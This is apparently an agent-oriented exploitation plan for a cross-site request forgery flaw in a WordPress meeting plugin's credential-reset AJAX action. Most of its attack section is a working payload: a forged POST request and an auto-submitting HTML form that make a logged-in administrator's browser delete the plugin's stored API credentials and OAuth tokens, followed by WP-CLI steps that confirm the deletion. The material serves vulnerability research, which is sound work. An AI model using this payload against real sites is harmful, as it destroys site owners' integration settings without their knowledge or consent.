Exploitation Research Plan: CVE-2026-6440 GoodMeet CSRF

1. Vulnerability Summary

The GoodMeet plugin (<= 1.1.8) is vulnerable to a Cross-Site Request Forgery (CSRF) on its Google Meet credential reset functionality. The function reset_credential() (likely located in includes/goodmeet-plugin.php), which handles the wp_ajax_goodmeet_reset_google_meet_credential AJAX action, implements a capability check (manage_options) but fails to implement any nonce verification (e.g., check_ajax_referer). This allows an unauthenticated attacker to trick a logged-in Administrator into submitting a request that deletes the plugin's API credentials and OAuth tokens, effectively disabling the integration.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: goodmeet_reset_google_meet_credential
• HTTP Method: POST (standard for AJAX actions in WordPress)
• Required Capability: manage_options (Administrator)
• Vulnerable Parameter: Missing _ajax_nonce or security parameter verification.
• Impact: Deletion of goodmeet_google_credentials and goodmeet_google_token WordPress options.

3. Code Flow (Inferred from Description)

1. Entry Point: The plugin registers the AJAX action (likely in includes/goodmeet-plugin.php):

   // Inferred registration
   add_action( 'wp_ajax_goodmeet_reset_google_meet_credential', array( $this, 'reset_credential' ) );
   

2. Execution: When an authenticated user (Administrator) triggers the action:
   • admin-ajax.php dispatches the request to the reset_credential handler.
   • The handler performs a capability check: if ( ! current_user_can( 'manage_options' ) ) { wp_die(); }.
   • Vulnerability: The handler skips check_ajax_referer() or wp_verify_nonce().
3. Sink: The handler proceeds to delete the integration settings:

   // Inferred sink logic
   delete_option( 'goodmeet_google_credentials' );
   delete_option( 'goodmeet_google_token' );
   

4. Nonce Acquisition Strategy

No nonce is required.
The core of this vulnerability is the complete absence of nonce verification in the reset_credential() function. An attacker does not need to bypass or obtain a nonce; they simply omit it from the request.

5. Exploitation Strategy

The goal is to demonstrate that an Administrator can be forced to reset credentials via an unauthenticated cross-site request.

Step-by-Step Plan:

1. Prepare the Victim Session: Authenticate as an Administrator using the browser_navigate tool to establish a session.
2. Deliver the CSRF Payload: Use an auto-submitting HTML form hosted on a "malicious" external origin (simulated via an HTML file or a direct POST request if SameSite=Lax is not restrictive for this specific AJAX endpoint).
3. Execute the Request: The Administrator's browser will send the cookies along with the action parameter to admin-ajax.php.

HTTP Request (Payload):

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [TARGET_HOST]
Content-Type: application/x-www-form-urlencoded
Cookie: [ADMIN_COOKIES]

action=goodmeet_reset_google_meet_credential

6. Test Data Setup

Before exploitation, ensure the target options exist in the database to prove they are deleted.

1. Populate Credentials via WP-CLI:

   wp option update goodmeet_google_credentials '{"client_id":"dummy_id","client_secret":"dummy_secret"}' --format=json
   wp option update goodmeet_google_token '{"access_token":"dummy_token"}' --format=json
   

2. Verify Setup:

   wp option get goodmeet_google_credentials
   wp option get goodmeet_google_token
   

7. Expected Results

• The server should return a successful AJAX response (likely 1, 0, or a JSON success message like {"success":true}).
• The WordPress options goodmeet_google_credentials and goodmeet_google_token should be removed from the database.

8. Verification Steps

After executing the http_request (or browser_eval CSRF):

1. Check Options:

   wp option get goodmeet_google_credentials
   wp option get goodmeet_google_token
   

2. Expected Outcome: WP-CLI should return an error stating "Could not find 'goodmeet_google_credentials' option" (exit code 1).

9. Alternative Approaches

If admin-ajax.php strictly requires POST and browser-level SameSite=Lax protections prevent a simple cross-site fetch, use a standard HTML form submission:

<html>
  <body>
    <form id="csrfForm" action="http://[TARGET_HOST]/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="goodmeet_reset_google_meet_credential" />
    </form>
    <script>
      document.getElementById('csrfForm').submit();
    </script>
  </body>
</html>

This can be executed via the browser_navigate tool pointing to a local file or a controlled URL.